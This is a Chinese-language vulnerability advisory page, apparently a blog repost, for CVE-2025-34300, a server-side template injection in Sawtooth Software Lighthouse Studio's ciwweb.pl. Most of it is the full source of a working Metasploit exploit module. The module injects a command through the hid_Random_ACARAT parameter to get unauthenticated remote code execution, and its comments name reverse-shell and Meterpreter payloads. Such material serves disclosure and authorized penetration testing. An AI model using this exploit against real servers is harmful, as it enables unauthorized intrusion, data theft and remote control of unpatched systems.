Sawtooth Software Lighthouse Studio 模板注入漏洞

漏洞信息

漏洞名称: Sawtooth Software Lighthouse Studio 模板注入漏洞

漏洞编号:

  • CVE: CVE-2025-34300

漏洞类型: 服务端模板注入

漏洞等级: 高危

漏洞描述: Sawtooth Software的Lighthouse Studio是一款广泛用于市场调研和数据分析的软件,它允许用户创建和管理在线调查。该软件在企业级市场研究领域有着广泛的应用,因其强大的功能和灵活性而受到许多组织的青睐。

该漏洞存在于Lighthouse Studio的ciwweb.pl网络应用程序中,由于未能正确清理调查模板中的用户输入,导致存在服务端模板注入漏洞。攻击者可以利用这一漏洞注入并执行任意的Perl命令,从而在目标系统上实现远程代码执行。这一漏洞的技术根源在于应用程序对用户提供的模板数据缺乏严格的输入验证和过滤机制。

成功利用此漏洞的攻击者可以在未授权的情况下远程执行任意系统命令,执行权限与运行web服务的用户相同。这意味着攻击者可以访问敏感数据、破坏调查操作,甚至可能进一步利用系统权限进行更广泛的网络攻击。由于攻击不需要任何形式的身份验证,且可以自动化执行,因此该漏洞构成了严重的安全威胁。

产品厂商: Sawtooth Software

产品名称: Lighthouse Studio

影响版本: version < 9.16.14

来源: https://github.com/rapid7/metasploit-framework/blob/9696cc57dbcc01d4bcb9a0ed538ae3ccf6f0d081/modules%2Fexploits%2Fmulti%2Fhttp%2Flighthouse_studio_unauth_rce_cve_2025_34300.rb

类型: rapid7/metasploit-framework:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => "Template Injection Vulnerability in Sawtooth Software's Lighthouse Studio (CVE-2025-34300)",
'Description' => %q{
This module exploits a template injection vulnerability in the
Sawtooth Software Lighthouse Studio's `ciwweb.pl` web application.
The application fails to properly sanitize user input within survey templates,
allowing unauthenticated attackers to inject and execute arbitrary Perl commands
on the target system.

This vulnerability affects Lighthouse Studio versions prior to 9.16.14.
Successful exploitation may result in remote code execution under the privileges
of the web server, potentially exposing sensitive data or disrupting survey operations.

An attacker can execute arbitrary system commands in the context of the user running the web server.
},
'License' => MSF_LICENSE,
'Author' => [
'Maksim Rogov', # Metasploit Module
'Adam Kues' # Vulnerability Discovery
],
'References' => [
['CVE', '2025-34300'],
['URL', 'https://slcyber.io/assetnote-security-research-center/rce-in-the-most-popular-survey-software-youve-never-heard-of/']
],
'Platform' => ['multi'],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
# On Ubuntu 18.04.06 LTS curl is not installed by default
'FETCH_COMMAND' => 'WGET'
}
# Tested with cmd/unix/reverse_bash
# Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command',
{
'Platform' => ['windows'],
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
# Environment variables like %TEMP% don't resolve
'FETCH_WRITABLE_DIR' => '\\Windows\\Tasks\\'
},
'Payload' => {
'Prepend' => 'cmd.exe /q /c '
}
# Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
],
],
'Payload' => {
'BadChars' => '\\'
},
'DefaultTarget' => 0,
'DisclosureDate' => '2025-07-16',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [REPEATABLE_SESSION]
}
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'Path to vulnerable ciwweb.pl', '/cgi-bin/ciwweb.pl']),
OptString.new('STUDYNAME', [false, 'Value for the hid_studyname GET parameter', '']),
]
)
end

def check
print_status('Extracting version...')

vars = {
'hid_javascript' => '1'
}
vars['hid_studyname'] = datastore['STUDYNAME'] unless datastore['STUDYNAME'].strip.empty?

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'vars_get' => vars
)
return CheckCode::Unknown('No response from target') unless res&.code == 200

if res.body =~ /Lighthouse Studio (\d+_\d+_\d+)/
version_match = Regexp.last_match(1).to_s
version = Rex::Version.new(version_match.gsub('_', '.'))
print_status("Extracted version: #{version}")

return CheckCode::Appears if version < Rex::Version.new('9.16.14')
else
print_error("#{peer} - Unable to extract version number")
end

html = res.get_html_document
if html&.text&.include?('Lighthouse Studio')
return CheckCode::Detected
end

CheckCode::Safe
end

def exploit
print_status('Uploading malicious payload...')

cmd = Rex::Text.uri_encode(payload.encoded)

query = [
'hid_javascript=1',
"hid_Random_ACARAT=[%`#{cmd}`%]",
"hid_Random_ACARAT=#{Rex::Text.rand_text_alphanumeric(rand(3..5))}"
]

query << "hid_studyname=#{datastore['STUDYNAME']}" unless datastore['STUDYNAME'].strip.empty?
query_string = query.join('&')

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'query' => query_string
})

if res
html = res.get_html_document
if html&.text&.include?('Cannot find the study name')
fail_with(Failure::BadConfig, 'The STUDYNAME value was not found on the server')
end
end
end
end



Sawtooth Software Lighthouse Studio 模板注入漏洞
http://example.com/2025/07/25/github_1153393660/
作者
lianccc
发布于
2025年7月25日
许可协议